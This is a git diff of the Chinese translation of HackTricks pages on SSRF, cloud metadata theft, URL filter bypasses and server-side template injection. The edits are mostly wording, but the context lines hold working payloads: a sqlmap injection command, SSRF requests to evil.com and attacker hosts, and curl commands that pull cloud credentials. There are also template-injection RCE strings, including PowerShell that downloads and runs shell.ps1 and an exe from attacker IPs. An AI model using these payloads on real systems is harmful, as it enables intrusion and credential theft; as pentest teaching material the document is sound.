-- 在“email”字段中创建一个包含 SQLi 有效负载的帐户
+- 在“email”字段中创建一个包含 SQLi 有效载荷的帐户
 - 登出
 - 使用该帐户登录 (login.txt)
 - 发送请求以执行 SQL 注入 (second.txt)
 
-**这条 sqlmap 命令将会有所帮助：**
+**这条 sqlmap 命令将有所帮助：**
 ```bash
 sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
 ##########
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
index f09e47430..6ff1fa673 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
@@ -30,7 +30,7 @@ url-format-bypass.md
 
 ### 通过开放重定向绕过
 
-如果服务器得到了正确的保护，您可以 **通过利用网页中的开放重定向来绕过所有限制**。因为网页将允许 **SSRF 到同一域**，并且可能会 **跟随重定向**，您可以利用 **开放重定向使服务器访问内部任何资源**。\
+如果服务器得到了正确的保护，您可以 **通过利用网页中的开放重定向来绕过所有限制**。因为网页将允许 **SSRF 到同一域**，并可能会 **跟随重定向**，您可以利用 **开放重定向使服务器访问内部任何资源**。\
 在这里阅读更多信息: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
 
 ## 协议
@@ -42,7 +42,7 @@ url-format-bypass.md
 - **SFTP://**
 - 被识别为通过安全外壳进行安全文件传输的协议，提供了一个示例，展示了如何利用 PHP 脚本连接到恶意 SFTP 服务器: `url=sftp://generic.com:11111/`
 - **TFTP://**
-- 提到简单文件传输协议，操作在 UDP 上，提供了一个设计用于向 TFTP 服务器发送请求的 PHP 脚本示例。向 'generic.com' 的端口 '12346' 发送 TFTP 请求以获取文件 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
+- 提到简单文件传输协议，操作在 UDP 上，给出了一个设计用于向 TFTP 服务器发送请求的 PHP 脚本示例。向 'generic.com' 的端口 '12346' 发送 TFTP 请求以获取文件 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
 - **LDAP://**
 - 本节涵盖轻量级目录访问协议，强调其在 IP 网络上管理和访问分布式目录信息服务的用途。通过 ssrf.php 与本地主机上的 LDAP 服务器交互: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
 - **SMTP**
@@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
 4. connect
 ```
 - **Curl URL globbing - WAF 绕过**
-- 如果 SSRF 是通过 **curl** 执行的，curl 有一个叫做 [**URL globbing**](https://everything.curl.dev/cmdline/globbing) 的功能，这可能对绕过 WAF 有用。例如，在这个 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 中，你可以找到一个关于 **通过 `file` 协议进行路径遍历** 的示例：
+- 如果 SSRF 是通过 **curl** 执行的，curl 有一个叫做 [**URL globbing**](https://everything.curl.dev/cmdline/globbing) 的功能，这可能对绕过 WAF 有用。例如，在这个 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 中，你可以找到这个关于 **通过 `file` 协议的路径遍历** 的例子：
 ```
 file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
 ```
@@ -64,7 +64,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
 
 ### Gopher://
 
-使用此协议，您可以指定服务器要**发送**的**IP、端口和字节**。然后，您基本上可以利用SSRF与**任何TCP服务器**进行**通信**（但您需要先知道如何与该服务对话）。\
+使用此协议，您可以指定服务器要**发送的IP、端口和字节**。然后，您基本上可以利用SSRF来**与任何TCP服务器通信**（但您需要先知道如何与该服务对话）。\
 幸运的是，您可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为多个服务创建有效载荷。此外，[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)可以用于为_Java RMI_服务创建_gopher_有效载荷。
 
 **Gopher smtp**
@@ -106,7 +106,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
 ```
 ## SSRF通过引荐头和其他方式
 
-服务器上的分析软件通常会记录引荐头以跟踪传入链接，这种做法无意中使应用程序暴露于服务器端请求伪造（SSRF）漏洞。这是因为此类软件可能会访问引荐头中提到的外部URL，以分析引用网站的内容。为了发现这些漏洞，建议使用Burp Suite插件“**Collaborator Everywhere**”，利用分析工具处理Referer头的方式来识别潜在的SSRF攻击面。
+服务器上的分析软件通常会记录引荐头以跟踪传入链接，这种做法无意中使应用程序暴露于服务器端请求伪造（SSRF）漏洞。这是因为此类软件可能会访问引荐头中提到的外部URL，以分析引用网站内容。为了发现这些漏洞，建议使用Burp Suite插件“**Collaborator Everywhere**”，利用分析工具处理Referer头的方式来识别潜在的SSRF攻击面。
 
 ## SSRF通过证书中的SNI数据
 
@@ -121,7 +121,7 @@ ssl_preread on;
 }
 }
 ```
-在此配置中，服务器名称指示（SNI）字段中的值被直接用作后端地址。此设置暴露了服务器端请求伪造（SSRF）漏洞，可以通过在SNI字段中仅指定所需的IP地址或域名来利用。以下是一个利用示例，强制连接到任意后端，例如 `internal.host.com`，使用 `openssl` 命令如下：
+在此配置中，服务器名称指示（SNI）字段中的值被直接用作后端地址。此设置暴露了服务器端请求伪造（SSRF）漏洞，可以通过在SNI字段中仅指定所需的IP地址或域名来利用。以下是一个利用示例，使用`openssl`命令强制连接到任意后端，例如`internal.host.com`：
 ```bash
 openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
 ```
@@ -133,7 +133,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
 
 ## PDFs 渲染
 
-如果网页自动创建一个包含您提供的一些信息的 PDF，您可以 **插入一些 JS，这些 JS 将在创建 PDF 时由 PDF 创建者（服务器）执行**，您将能够利用 SSRF。[**在这里找到更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
+如果网页自动创建一个包含您提供的一些信息的 PDF，您可以 **插入一些 JS，这些 JS 将由 PDF 创建者**（服务器）在创建 PDF 时执行，您将能够利用 SSRF。 [**在这里找到更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
 
 ## 从 SSRF 到 DoS
 
@@ -218,7 +218,7 @@ Connection: close
 
 <figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
 
-发现请求的**路径**可以以字符**`;`**开头，这允许使用**`@`**并注入一个新主机进行访问。攻击请求：
+发现请求的**路径**可以以字符**`;`**开头，这允许使用**`@`**并注入一个新主机以进行访问。攻击请求：
 ```http
 GET ;@evil.com/url HTTP/1.1
 Host: target.com
@@ -261,7 +261,7 @@ Connection: close
 
 ### 自动化 DNS Rebidding
 
-[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) 是一个执行 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻击的工具。它包含了将攻击服务器的 DNS 名称的 IP 地址重新绑定到目标机器的 IP 地址所需的组件，并向目标机器提供攻击有效载荷以利用易受攻击的软件。
+[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) 是一个执行 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻击的工具。它包含了将攻击服务器 DNS 名称的 IP 地址重新绑定到目标机器 IP 地址的必要组件，并向目标机器提供攻击有效载荷以利用易受攻击的软件。
 
 还可以查看 **公共运行服务器** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
 
@@ -279,7 +279,7 @@ Connection: close
 2. **DNS** 的 **TTL** 为 **0** 秒（因此受害者将很快再次检查该域名的 IP）
 3. 在受害者和攻击者的域名之间建立 **TLS 连接**。攻击者将 **有效载荷放入** **会话 ID 或会话票证** 中。
 4. **域名** 将开始对 **自己** 的 **无限重定向** 循环。这样做的目的是让用户/机器人访问该域名，直到它 **再次** 执行该域名的 **DNS 请求**。
-5. 在 DNS 请求中 **现在** 提供了一个 **私有 IP** 地址（例如 127.0.0.1）
+5. 在 DNS 请求中 **现在** 提供一个 **私有 IP** 地址（例如 127.0.0.1）
 6. 用户/机器人将尝试 **重新建立 TLS 连接**，为此它将 **发送** **会话** ID/票证 ID（其中包含了攻击者的 **有效载荷**）。恭喜你成功地让 **用户/机器人攻击自己**。
 
 请注意，在此攻击期间，如果您想攻击 localhost:11211 (_memcache_)，您需要让受害者与 www.attacker.com:11211 建立初始连接（**端口必须始终相同**）。\
@@ -314,7 +314,7 @@ ssrf-vulnerable-platforms.md
 
 ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
 
-用于检测和利用 SSRF 漏洞的工具
+检测和利用 SSRF 漏洞的工具
 
 ### [Gopherus](https://github.com/tarunkant/Gopherus)
 
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
index 01fa1c553..a5eb513b1 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
@@ -81,7 +81,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
 
 然后，您可以**使用这些凭证与AWS CLI**。这将允许您执行**该角色具有权限**的任何操作。
 
-要利用新凭证，您需要创建一个新的AWS配置文件，如下所示：
+要利用新的凭证，您需要创建一个新的AWS配置文件，如下所示：
 ```
 [profilename]
 aws_access_key_id = ASIA6GG71[...]
@@ -94,7 +94,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
 
 ### AWS ECS（容器服务）中的 SSRF 凭据
 
-**ECS** 是一组逻辑上的 EC2 实例，您可以在其上运行应用程序，而无需扩展自己的集群管理基础设施，因为 ECS 为您管理这一切。如果您成功地攻陷在 **ECS** 中运行的服务，**元数据端点会发生变化**。
+**ECS** 是一组逻辑上的 EC2 实例，您可以在其上运行应用程序，而无需扩展自己的集群管理基础设施，因为 ECS 为您管理这一切。如果您成功地攻陷了在 **ECS** 中运行的服务，**元数据端点会发生变化**。
 
 如果您访问 _**http://169.254.170.2/v2/credentials/\<GUID>**_，您将找到 ECS 机器的凭据。但首先，您需要 **找到 \<GUID>**。要找到 \<GUID>，您需要读取机器内部的 **environ** 变量 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**。\
 您可以通过利用 **路径遍历** 来读取它，路径为 `file:///proc/self/environ`。\
@@ -103,11 +103,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
 curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
 ```
 > [!NOTE]
-> 请注意，在**某些情况下**，您将能够从容器访问**EC2元数据实例**（请检查之前提到的IMDSv2 TTL限制）。在这些场景中，您可以从容器访问容器的IAM角色和EC2的IAM角色。
+> 请注意，在**某些情况下**，您将能够从容器访问**EC2元数据实例**（请检查之前提到的IMDSv2 TTL限制）。在这些场景中，您可以从容器访问容器IAM角色和EC2 IAM角色。
 
 ### SSRF for AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
 
-在这种情况下，**凭证存储在环境变量中**。因此，要访问它们，您需要访问类似于**`file:///proc/self/environ`**的内容。
+在这种情况下，**凭据存储在环境变量中**。因此，要访问它们，您需要访问类似于**`file:///proc/self/environ`**的内容。
 
 **有趣的环境变量**的**名称**是：
 
@@ -115,10 +115,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
 - `AWS_SECRET_ACCESS_KEY`
 - `AWS_ACCES_KEY_ID`
 
-此外，除了IAM凭证，Lambda函数在启动时还会有**传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数，并可能包含**敏感**的**信息**（例如在**stageVariables**中）。与IAM凭证不同，这些数据可以通过标准SSRF访问**`http://localhost:9001/2018-06-01/runtime/invocation/next`**。
+此外，除了IAM凭据，Lambda函数在启动时还会有**传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数，并可能包含**敏感**的**信息**（例如在**stageVariables**中）。与IAM凭据不同，这些数据可以通过标准SSRF访问**`http://localhost:9001/2018-06-01/runtime/invocation/next`**。
 
 > [!WARNING]
-> 请注意，**lambda凭证**在**环境变量**中。因此，如果lambda代码的**堆栈跟踪**打印环境变量，则可能通过在应用中**引发错误**来**外泄它们**。
+> 请注意，**lambda凭据**在**环境变量**中。因此，如果lambda代码的**堆栈跟踪**打印环境变量，则可能通过在应用中**引发错误**来**外泄它们**。
 
 ### SSRF URL for AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
 
@@ -127,7 +127,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
 http://169.254.169.254/latest/dynamic/instance-identity/document
 http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
 ```
-然后我们从 API 中获取 `AccessKeyId`、`SecretAccessKey` 和 `Token`。
+然后我们从API中获取`AccessKeyId`、`SecretAccessKey`和`Token`。
 ```
 http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
 ```
@@ -299,7 +299,7 @@ done
 ## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
 
 > [!WARNING]
-> 这里没有像 AWS Roles 或 GCP 服务账户这样的东西，所以不要指望找到元数据机器人凭据
+> 这里没有像 AWS Roles 或 GCP service account 这样的东西，所以不要指望找到元数据机器人凭证
 
 Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
 ```
@@ -540,7 +540,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
 ## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
 
 > [!WARNING]
-> 请注意，在 IBM 中，默认情况下元数据未启用，因此即使您在 IBM 云 VM 内部，也可能无法访问它。
+> 请注意，在 IBM 中，默认情况下元数据未启用，因此即使您在 IBM 云 VM 内，也可能无法访问它。
 ```bash
 export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
 -H "Metadata-Flavor: ibm"\
@@ -564,7 +564,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
 # Get IAM credentials
 curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
 ```
-以下是各种平台元数据服务的文档，突出显示了可以访问实例的配置和运行时信息的方法。每个平台提供独特的端点来访问其元数据服务。
+以下是各种平台元数据服务的文档，突出显示了可以访问实例的配置和运行时信息的方法。每个平台提供独特的端点以访问其元数据服务。
 
 ## Packetcloud
 
@@ -608,7 +608,7 @@ Kubernetes ETCD 可以保存 API 密钥、内部 IP 地址和端口。访问示
 
 ## Docker
 
-Docker 元数据可以在本地访问，提供了容器和镜像信息检索的示例：
+Docker 元数据可以在本地访问，以下是获取容器和镜像信息的示例：
 
 - 通过 Docker 套接字访问容器和镜像元数据的简单示例：
 - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
index a22d8920b..fa21daf4d 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
@@ -77,7 +77,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
 ```
 ![](<../../images/image (776).png>)
 
-**Burp 扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了 IP 格式化绕过。
+**Burp 扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了 IP 格式绕过。
 
 ### 域解析器
 ```bash
@@ -145,7 +145,7 @@ next={domain}&next=attacker.com
 ```
 ### 路径和扩展绕过
 
-如果您需要 URL 以路径或扩展名结尾，或必须包含路径，您可以尝试以下绕过方法：
+如果要求 URL 必须以路径或扩展名结尾，或者必须包含路径，您可以尝试以下绕过方法：
 ```
 https://metadata/vulerable/path#/expected/path
 https://metadata/vulerable/path#.extension
@@ -157,13 +157,13 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
 
 ### Automatic Custom Wordlists
 
-查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)，您可以在其中输入允许的主机和攻击者的主机，它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用 URL。
+查看来自 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)，您可以在其中输入允许的主机和攻击者的主机，它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用 URL。
 
 {% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
 
 ### Bypass via redirect
 
-服务器可能在 **过滤 SSRF 的原始请求**，**但不**过滤对该请求的可能 **重定向** 响应。\
+服务器可能在 **过滤原始请求** 的 SSRF **但不** 过滤对该请求的可能 **重定向** 响应。\
 例如，一个通过 `url=https://www.google.com/` 漏洞的 SSRF 服务器可能在 **过滤 url 参数**。但是，如果您使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到您想要重定向的地方，您可能能够 **访问被过滤的 IP 地址**，如 127.0.0.1，甚至被过滤的 **协议**，如 gopher。\
 [查看此报告。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
 ```python
@@ -196,7 +196,7 @@ _反斜杠技巧_ 利用 [WHATWG URL Standard](https://url.spec.whatwg.org/#url-
 
 ### 左方括号
 
-用户信息段中的“左方括号”字符 `[` 可能导致 Spring 的 UriComponentsBuilder 返回与浏览器不同的主机名值：[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
+用户信息段中的“左方括号”字符 `[` 可以导致 Spring 的 UriComponentsBuilder 返回一个与浏览器不同的主机名值：[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
 
 ### 其他混淆
 
diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md
index 3d1797422..5720b0e21 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/README.md
@@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
 
 ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
 ```
-**Freemarker - 沙盒绕过**
+**Freemarker - 沙箱绕过**
 
 ⚠️ 仅适用于 2.3.30 版本以下的 Freemarker
 ```java
@@ -171,9 +171,9 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
 
 Thymeleaf 要求这些表达式放置在特定属性中。然而，_表达式内联_ 对其他模板位置是支持的，使用语法如 `[[...]]` 或 `[(...)]`。因此，一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`。
 
-然而，这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成；模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态创建字符串模板，这并不常见。
+然而，这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成；模板必须是预定义的。开发者需要实现自己的 `TemplateResolver` 以动态从字符串创建模板，这并不常见。
 
-Thymeleaf 还提供 _表达式预处理_，其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时使用，如 Thymeleaf 文档中所示：
+Thymeleaf 还提供 _表达式预处理_，其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用，如 Thymeleaf 文档中所示：
 ```java
 #{selection.__${sel.code}__}
 ```
@@ -376,7 +376,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
 
 - **JavaServer Faces (JSF)**：使用 EL 将 JSF 页面中的组件绑定到相应的后端数据和操作。
 - **JavaServer Pages (JSP)**：EL 在 JSP 中用于访问和操作 JSP 页面中的数据，使得将页面元素连接到应用数据变得更容易。
-- **Java EE 的上下文和依赖注入 (CDI)**：EL 与 CDI 集成，允许 web 层与托管 bean 之间无缝交互，确保更连贯的应用结构。
+- **Java EE 的上下文和依赖注入 (CDI)**：EL 与 CDI 集成，允许 web 层与托管 bean 之间的无缝交互，确保更连贯的应用结构。
 
 查看以下页面以了解更多关于 **EL 解释器的利用**：
 
@@ -637,7 +637,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
 ```
 - \= 错误
 - ${7\*7} = ${7\*7}
-- 无内容
+- 无
 ```java
 {{#with "s" as |string|}}
 {{#with "e"}}
@@ -668,12 +668,12 @@ URLencoded:
 
 ### JsRender (NodeJS)
 
-| **模板** | **描述**                         |
-| ------------ | --------------------------------------- |
-|              | 评估并渲染输出              |
-|              | 评估并渲染HTML编码输出 |
-|              | 注释                                 |
-| 和          | 允许代码（默认禁用）        |
+| **模板** | **描述**                           |
+| -------- | ---------------------------------- |
+|          | 评估并渲染输出                     |
+|          | 评估并渲染HTML编码输出            |
+|          | 注释                               |
+| 和       | 允许代码（默认禁用）               |
 
 - \= 49
 
@@ -779,7 +779,7 @@ range.constructor(
 
 ### Python
 
-查看以下页面以了解关于 **任意命令执行绕过沙箱** 的技巧：
+查看以下页面以了解关于 **绕过沙箱的任意命令执行** 的技巧：
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@@ -910,7 +910,7 @@ ${x}
 - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
 - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
 
-.NET `System.Diagnostics.Process.Start` 方法可以用来在服务器上启动任何进程，从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
+.NET `System.Diagnostics.Process.Start` 方法可用于在服务器上启动任何进程，从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
 
 **更多信息**
 
@@ -921,7 +921,7 @@ ${x}
 
 - `<%= 7*7 %>` = 49
 - `<%= "foo" %>` = foo
-- `<%= foo %>` = Nothing
+- `<%= foo %>` = 无
 - `<%= response.write(date()) %>` = \<Date>
 ```xml
 <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
@@ -952,7 +952,7 @@ ${x}
 
 **XSS Exploitation**
 
-使用 `text/template` 包，XSS 可以通过直接插入有效载荷来实现。相反，`html/template` 包对响应进行编码以防止这种情况（例如，`{{"<script>alert(1)</script>"}}` 结果为 `&lt;script&gt;alert(1)&lt;/script&gt;`）。然而，在 Go 中，模板定义和调用可以绕过这种编码：\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
+使用 `text/template` 包，XSS 可以通过直接插入有效载荷来实现。相反，`html/template` 包对响应进行编码以防止这种情况（例如，`{{"<script>alert(1)</script>"}}` 的结果是 `&lt;script&gt;alert(1)&lt;/script&gt;`）。然而，在 Go 中，模板定义和调用可以绕过这种编码：\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
 
 vbnet Copy code
 
diff --git a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
index deaef35fd..d4cf3dba7 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
@@ -4,7 +4,7 @@
 
 ## 基本信息
 
-表达式语言 (EL) 是 JavaEE 中的重要组成部分，用于连接表示层（例如，网页）和应用逻辑（例如，受管 bean），使它们能够相互作用。它主要用于：
+表达式语言 (EL) 是 JavaEE 中不可或缺的一部分，用于连接表现层（例如，网页）和应用逻辑（例如，受管 bean），使它们能够相互作用。它主要用于：
 
 - **JavaServer Faces (JSF)**：用于将 UI 组件绑定到后端数据/操作。
 - **JavaServer Pages (JSP)**：用于在 JSP 页面中访问和操作数据。
@@ -13,16 +13,16 @@
 **使用上下文**：
 
 - **Spring 框架**：应用于安全和数据等各种模块。
-- **通用使用**：通过 SpEL API 由 JVM 语言（如 Java、Kotlin 和 Scala）中的开发人员使用。
+- **通用使用**：通过 SpEL API 由 JVM 语言（如 Java、Kotlin 和 Scala）的开发人员使用。
 
 EL 存在于 JavaEE 技术、独立环境中，并通过 `.jsp` 或 `.jsf` 文件扩展名、堆栈错误和头部中的“Servlet”等术语可识别。然而，其特性和某些字符的使用可能依赖于版本。
 
 > [!NOTE]
-> 根据 **EL 版本**，某些 **特性** 可能是 **开启** 或 **关闭**，通常某些 **字符** 可能是 **不允许** 的。
+> 根据 **EL 版本**，某些 **特性** 可能是 **开启** 或 **关闭** 的，通常某些 **字符** 可能是 **不允许** 的。
 
 ## 基本示例
 
-（您可以在 [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) 找到另一个关于 EL 的有趣教程）
+(您可以在 [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) 找到另一个关于 EL 的有趣教程)
 
 从 [**Maven**](https://mvnrepository.com) 仓库下载 jar 文件：
 
@@ -52,7 +52,7 @@ System.out.println(result);
 }
 }
 ```
-接下来编译代码（如果您没有安装 `javac`，请安装 `sudo apt install default-jdk`）：
+接下来编译代码（如果你没有安装 `javac`，请安装 `sudo apt install default-jdk`）：
 ```java
 javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
 ```
@@ -63,7 +63,7 @@ Enter a String to evaluate:
 {5*5}
 [25]
 ```
-注意在前面的例子中，术语 `{5*5}` 是如何被 **评估** 的。
+注意在前面的例子中，术语 `{5*5}` 是 **被评估** 的。
 
 ## **CVE 基于的教程**
 
@@ -190,7 +190,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
 - `sessionScope` - 会话变量
 - `param.X` - 参数值，其中 X 是 http 参数的名称
 
-您需要将这些变量转换为字符串，例如：
+您需要将这些变量转换为字符串，如：
 ```bash
 ${sessionScope.toString()}
 ```
@@ -206,7 +206,7 @@ ${employee.FirstName}
 ```
 ## WAF 绕过
 
-查看 [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
+检查 [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
 
 ## 参考文献
 
diff --git a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
index e6d31f5cb..a4807c923 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
@@ -64,7 +64,7 @@ app.run()
 
 ### 访问全局对象
 
-例如，在代码 `render_template("hello.html", username=username, email=email)` 中，对象 username 和 email **来自非沙箱的 Python 环境**，并且在 **沙箱环境** 中是 **可访问的**。\
+例如，在代码 `render_template("hello.html", username=username, email=email)` 中，对象 username 和 email **来自非沙箱的 Python 环境**，并且在 **沙箱环境** 内是 **可访问的**。\
 此外，还有其他对象将 **始终可以从沙箱环境访问**，这些对象是：
 ```
 []
@@ -76,7 +76,7 @@ request
 ```
 ### 恢复 \<class 'object'>
 
